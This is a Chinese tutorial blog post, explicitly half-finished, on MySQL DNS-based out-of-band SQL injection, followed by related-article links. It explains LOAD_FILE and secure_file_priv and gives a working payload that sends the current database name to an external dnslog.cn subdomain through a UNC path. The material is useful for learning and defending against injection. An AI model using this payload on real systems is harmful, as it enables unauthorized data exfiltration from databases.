MySql注入—DNS注入
MySql注入—DNS注入
1、DNS注入原理
一、DNS注入原理
DNS注入,是通过查询相应DNS解析产生的记录日志来获取想要的数据
对于sql盲注这样的方法常常用到二分法,非常麻烦而且没有回显,要耗费大量的时间精力,
或许,salmap工具可以呢,其实在实测中,因为工具的高访问频率,很有可能会导致网站把我们的ip给封掉,除非挂代理池
先来个 知识扫盲:
1、MySQL 有个属性 secure_file_priv 它有三种状态
secure_file_priv= ,没有任何限制
当secure_file_priv=指定文件夹,只能导出或写入指定文件夹
secure_file_priv=NULL,不允许导入导出
在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL。并且无法用sql语句对其进行修改,只能够通过以下方式修改
Windows下:
修改mysql.ini 文件,在[mysqld] 下添加条目: secure_file_priv =
Linux下:
在/etc/my.cnf的[mysqld]下面添加local-infile=0选项
2、MySQL读取文件的函数:LOAD_FILE()
读取文件并返回文件的内容,内容为字符串
使用此函数满足的必要条件:
1)文件必须位于服务器主机上
2)必须指定文件的完整路径
3)有file权限
4)该文件所有字节可读
以上任一条件不满足,则返回NULL
PS:LOAD_FILE默认是关闭的,要开启需在MySQL的配置文件my.ini里添加一句:secure_file_priv= 才能开启此服务,,一些网站开发者为了方便查找主机的资料就把这个开启了
3、concat() 函数
拼接字符串,用传入要拼接的各个字符串用逗号隔开
concat('abc','de','fg') >>> abcdefg
4、UNC路径
我也不知道如何讲,也查找了网上的说法,没看到讲的比较明白的,大概都是 以下的说法,,后面我想想怎么写在加进来,先复制他们的吧
什么是UNC路径?UNC路径就是类似\\softer这样的形式的网络路径
格式:\\servername\sharename,其中servername是服务器名。sharename是共享资源的名称
写的时候把反斜杠改成正斜杠,因为反斜杠有个转义的作用
OK,,
select load_file(concat('//','注入语句','DNS域名'))
这里的DNS域名小白可能不懂,后期我会在添加补充的,今天先写写,不在状态,如果看着不懂或太累 ,可以私信我,我给做详细 解答
DNS域名获取去一个网站 dnslog.cn
获取域名(Get SubDomain),查看日志(Refresh Record),这个网站都可以完成
比如我们获取了一个域名:p.dnslog.cn
注入语句可以这么写
load_file(concat('//',(database()),'.p.dnslog.cn/abc'))
这是一个获取当前数据库的语句,那么获取内容在哪显示呢,就是获取域名的网站,点击查看日志(Refresh Record),,你会在.p.dnslog.cn前看到数据库,
返回的值就是 >>> 当前数据库.p.dnslog.cn
我们是不是可以用其他 注入语句呢,,of course
这是半个博客,抱歉
MySql注入—DNS注入的更多相关文章
- SQL注入-DNS注入(二)
其实就是盲注的简化版本,不过这种方式确实简单,不需要写py脚本一点点去跑 参考文章: https://www.jianshu.com/p/c805209244c2 这 ...
- SQL注入-DNS注入(一)
这篇文章相对来说比较入门,参考的文章是:https://www.jianshu.com/p/c805209244c2 0x00前言 前段时间在做盲注 分别是基于时间和基于布尔型的 说真的 这两种盲注真 ...
- mysql 带外注入
带外通道 有时候注入发现并没有回显,也不能利用时间盲注,那么就可以利用带外通道,也就是利用其他协议或者渠道,如http请求.DNS解析.SMB服务等将数据带出. payload SELECT LOAD ...
- 十种MYSQL显错注入原理讲解(二)
上一篇讲过,三种MYSQL显错注入原理.下面我继续讲解. 1.geometrycollection() and geometrycollection((select * from(select * f ...
- 十种MYSQL显错注入原理讲解(一)
开篇我要说下,在<代码审计:企业级Web代码安全架构>这本书中讲十种MYSQL显错注入,讲的很清楚. 感兴趣请去读完,若处于某种原因没读还想了解,那请继续往下. 1.count,rand, ...
- Mysql报错注入原理分析(count()、rand()、group by)
Mysql报错注入原理分析(count().rand().group by) 0x00 疑问 一直在用mysql数据库报错注入方法,但为何会报错? 百度谷歌知乎了一番,发现大家都是把官网的结论发一下截 ...
- MySQL暴错注入方法
mysql暴错注入方法整理,通过floor,UpdateXml,ExtractValue,NAME_CONST,Error based Double Query Injection等方法 1.通过fl ...
- MySQL防范SQL注入风险
MySQL防范SQL注入风险 0.导读 在MySQL里,如何识别并且避免发生SQL注入风险 1.关于SQL注入 互联网很危险,信息及数据安全很重要,SQL注入是最常见的入侵手段之一,其技术门槛低.成本 ...
- ref:学习笔记 UpdateXml() MYSQL显错注入
ref:https://www.cnblogs.com/MiWhite/p/6228491.html 学习笔记 UpdateXml() MYSQL显错注入 在学习之前,需要先了解 UpdateXml( ...
- 第二百八十一节,MySQL数据库-SQL注入和pymysql模块防止SQL注入
MySQL数据库-SQL注入和pymysql模块防止SQL注入 SQL注入就是通过SQL语句绕开程序判断,获取到数据库的内容 下面以一个简单的程序登录SQL注入举例: 正常登录 1.数据库有一张会员表 ...
随机推荐
- 从TF-IDF 到BM25, BM25+,一文彻底理解文本相关度
相关性描述的是⼀个⽂档和查询语句匹配的程度.我们从搜索引擎召回时,肯定希望召回相关性高的数据,那么如何来量化相关度呢. 首先,我们定义,一个文档doc,由多个词语 term 组成. 最早,通过最简单的 ...
- 《ASP.ENT Core 与 RESTful API 开发实战》-- (第5章)-- 读书笔记(上)
第 5 章 使用 Entity Framework Core 5.1 Entity Framework Core EF Core 是微软推出的 ORM 框架,一种为了解决高级编程语言中的对象和关系型数 ...
- 亚马逊Dynamo数据库解读(英文版)
最近看了亚麻的Dynamo,个人认为其中always writeable的业务目标,对于DHT,vector clock,merkel tree的应用,包括对于一致性和高可用的权衡(基于CAP猜想,实 ...
- STM32F401CCU6与MFRC522接线及读取示例
硬件准备 stm32f401ccu6最小开发板 rfid-rc522开发板 usb2ttl转接, 可以用pl2303, ch340, CP2102, FT232 Mifare 1K卡, UID长度4字 ...
- TS内置类型与拓展
TS内置类型与拓展 TypeScript具有类型系统,且是JavaScript的超集,其可以编译成普通的JavaScript代码,也就是说,其是带有类型检查的JavaScript. 内置类型 Type ...
- paste命令
paste命令 paste命令会把每个文件以列对列的方式,一列列地加以合并. 语法 paste [OPTION]... [FILE]... 参数 -d, --delimiters=[LIST]: 用指 ...
- Swoole从入门到入土(13)——HTTP服务器[配置]
开篇之前,先复习一下如何为一个server进行配置的设置: $server->set(array( 'key' => 'value' )); 配置说明: upload_tmp_dir:设置 ...
- MySQL的MVCC概念介绍(转)
并发字段修改业务 最近在主要在做"工作流引擎"课题的预研工作,在涉及到"会签任务"(工作流业务概念,这与我们今天讨论文问题没有太多关联)的时候,遇到了一个并发修 ...
- centos7下修改mysql5.5字符集
1.查看现有数据库编码 show variables like "%char%"; 2.修改mysql配置文件:/etc/my.cnf(以实际安装环境为准) 在[client]字段 ...
- 在Hexo中引入本地图片的实现
实现步骤 第一步:修改项目根目录下的_config.yml文件参数post_asset_folder值为true. # 开始使用本地静态资源 post_asset_folder: true 第二步:安 ...